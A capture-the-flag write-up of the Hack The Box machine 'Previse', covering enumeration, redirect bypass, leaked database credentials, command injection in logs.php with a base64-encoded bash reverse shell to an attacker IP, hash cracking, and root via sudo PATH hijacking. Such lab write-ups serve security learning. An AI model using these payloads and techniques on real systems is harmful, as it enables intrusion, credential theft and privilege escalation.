Previse
9 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.104
- Release: 07 / 08 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.104 -p 22,80
Nmap scan report for 10.10.11.104
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 58.91 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.104
, we are redirected to a login form:
Let’s apply fuzzing to enumerate more routes. We can add .php
extensions just in case:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.104/FUZZ -e .php
index.php [Status: 302, Size: 2801, Words: 737, Lines: 72]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
files.php [Status: 302, Size: 4914, Words: 1531, Lines: 113]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
css [Status: 301, Size: 310, Words: 20, Lines: 10]
status.php [Status: 302, Size: 2968, Words: 749, Lines: 75]
js [Status: 301>, Size: 309, Words: 20, Lines: 10]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1]
accounts.php [Status: 302, Size: 3994, Words: 1096, Lines: 94]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
logs.php [Status: 302, Size: 0, Words: 1, Lines: 1]
Notice that there are a lot of 302 status (302 Found). This means that the server is redirecting to /login.php
. We can tell ffuf
to follow redirects with -r
flag:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.104/FUZZ -e .php -r
index.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
download.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
login.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
files.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
header.php [Status: 200, Size: 980, Words: 183, Lines: 21]
nav.php [Status: 200, Size: 1248, Words: 462, Lines: 32]
footer.php [Status: 200, Size: 217, Words: 10, Lines: 6]
css [Status: 200, Size: 939, Words: 61, Lines: 17]
status.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
js [Status: 200, Size: 1155, Words: 77, Lines: 18]
logout.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
accounts.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
logs.php [Status: 200, Size: 2224, Words: 486, Lines: 54]
It seems clear that the website is redirecting to /login.php
. The key here is that the 302 responses contain a response body. This can be seen clearly from Burp Suite:
If we render the content of the response, we will see the page from Burp Suite, but the browser will perform a redirect because of the 302 status.
Registering a new account
Using Burp Suite, it is possible to intercept requests but also responses. We can fix the responses to change the status to 200 OK, so that the browser does not follow redirects. We need to go to Proxy > Options > Match and Replace > Add and put the following configuration:
That way, we are able to view all the contents of the website and also register an account in /accounts.php
:
After registering, we can login and get rid of all the annoying redirects.
Analyzing PHP source code
There is a ZIP file uploaded by user newguy
:
It contains a backup of all the PHP source code for the web server:
$ unzip siteBackup.zip
$ tree
.
├── accounts.php
├── config.php
├── download.php
├── file_logs.php
├── files.php
├── footer.php
├── header.php
├── index.php
├── login.php
├── logout.php
├── logs.php
├── nav.php
├── siteBackup.zip
└── status.php
0 directories, 14 files
Foothold
In config.php
we can find MySQL credentials:
<?php
function connectDB() {
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
And we see a weird hashing method for passwords in login.php
:
$users = $result->fetch_assoc();
$passHash = $users['password'];
if (crypt($password, '$1$🧂llol$') == $passHash) {
$result->free();
$_SESSION['user'] = $users['username'];
$result = $db->query($sql);
if (!$result) {
echo 'Oops! Something went wrong, try again later!';
}
$db->close();
header('Location: index.php');
} else {
echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
}
Finding a command injection
We can also find a file called logs.php
, which executes a Python script using a system call, with a non-sanitized string:
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if (file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
This line of code is vulnerable:
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
Because we can put a semicolon and inject another command. For instance, we can connect to the server using a reverse shell with nc
:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
To make the request from curl
, we must add the cookie to keep our session:
$ curl http://10.10.11.104/logs.php -d 'delim=comma; echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash' -H 'Cookie: PHPSESSID=952sbct7uf71fvi95m0p2gvmvi'
And we receive the shell in nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.104.
Ncat: Connection from 10.10.11.104:55204.
bash: cannot set terminal process group (1369): Inappropriate ioctl for device
bash: no job control in this shell
www-data@previse:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@previse:/var/www/html$ ^Z
[1] + 70279 suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + 70279 continued ncat -nlvp 4444
reset xterm
www-data@previse:/var/www/html$ export TERM=xterm
www-data@previse:/var/www/html$ export SHELL=bash
www-data@previse:/var/www/html$ stty rows 50 columns 158
The process of registering and account, entering as a new user and making the request with the malicious payload is automated in a Go program called foothold.go
(detailed explanation here).
It can be run as follows:
$ go run foothold.go 10.10.17.44 4444
[+] Creating username: 'aBwbf8GZPk', with password: 'LqsgiuEoyV'
[*] Registration successful
[*] Login successful. Cookie: PHPSESSID=t19n77eh9qt1ui2unipsoa6j0b; path=/
[!] Sent reverse shell. Check your nc listener
Lateral movement to user m4lwhere
Now it is time to own user m4lwhere
:
www-data@previse:/var/www/html$ ls /home
m4lwhere
We can use the MySQL credentials found in config.php
to connect to a database:
www-data@previse:/var/www/html$ mysql -u root --password='mySQL_p@ssw0rd!:)'
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
mysql> select * from accounts;
+-----+----------+----------------------------------+---------------------+
| id | username | password | created_at |
+-----+----------+----------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| ... | ... | ... | ... |
+-----+----------+----------------------------------+---------------------+
3 rows in set (0.00 sec)
This hash is a bit weird because it contains an emoji in the salt part of the hash. Using john
and hashcat
will be difficult because of the format. Although it can be solved, it is better to create a PHP script and crack the hash using the same hashing method used in the server (see files accounts.php
or login.php
):
<?php
$passHash = '$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.';
if ($file = fopen('rockyou.txt', 'r')) {
while (!feof($file)) {
$password = fgets($file);
if (crypt(trim($password), '$1$🧂llol$') == $passHash) {
echo $password;
break;
}
}
fclose($file);
}
And the password is found:
$ php crack.php
ilovecody112235!
Now we can login via SSH and get the user.txt
flag:
$ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:
m4lwhere@previse:~$ cat user.txt
ab438774e2b02effcf6d49753e5c8cb8
Privilege escalation
This user can run a Bash script as root
using sudo
:
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -l /opt/scripts/access_backup.sh
-rwxr-xr-x 1 root root 486 Jun 6 12:49 /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Exploiting PATH
hijacking
We cannot modify the file. However, the gzip
command is being used in relative mode (as well as date
). This is vulnerable to a PATH
hijacking because there is no secure_path
in the output of sudo -l
.
First, we create our own gzip
command in /tmp
, as an executable Bash script that sets /bin/bash
as a SUID file:
m4lwhere@previse:/tmp$ echo -e '#!/bin/bash\nchmod u+s /bin/bash' > gzip
m4lwhere@previse:/tmp$ chmod +x gzip
m4lwhere@previse:/tmp$ cat gzip
#!/bin/bash
chmod u+s /bin/bash
Then, we add /tmp
at the beginning of the PATH
environment variable, so that the malicious gzip
is found before the common one:
m4lwhere@previse:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ which gzip
/tmp/gzip
And finally, we can execute the Bash script with root
permissions, so that /bin/bash
is converted to an SUID binary:
m4lwhere@previse:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh
m4lwhere@previse:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Now we have rooted the machine, so we can read the root.txt
flag:
m4lwhere@previse:/tmp$ bash -p
bash-4.4# cat /root/root.txt
3b2115c0ed9ca779182d6d777b1ed40a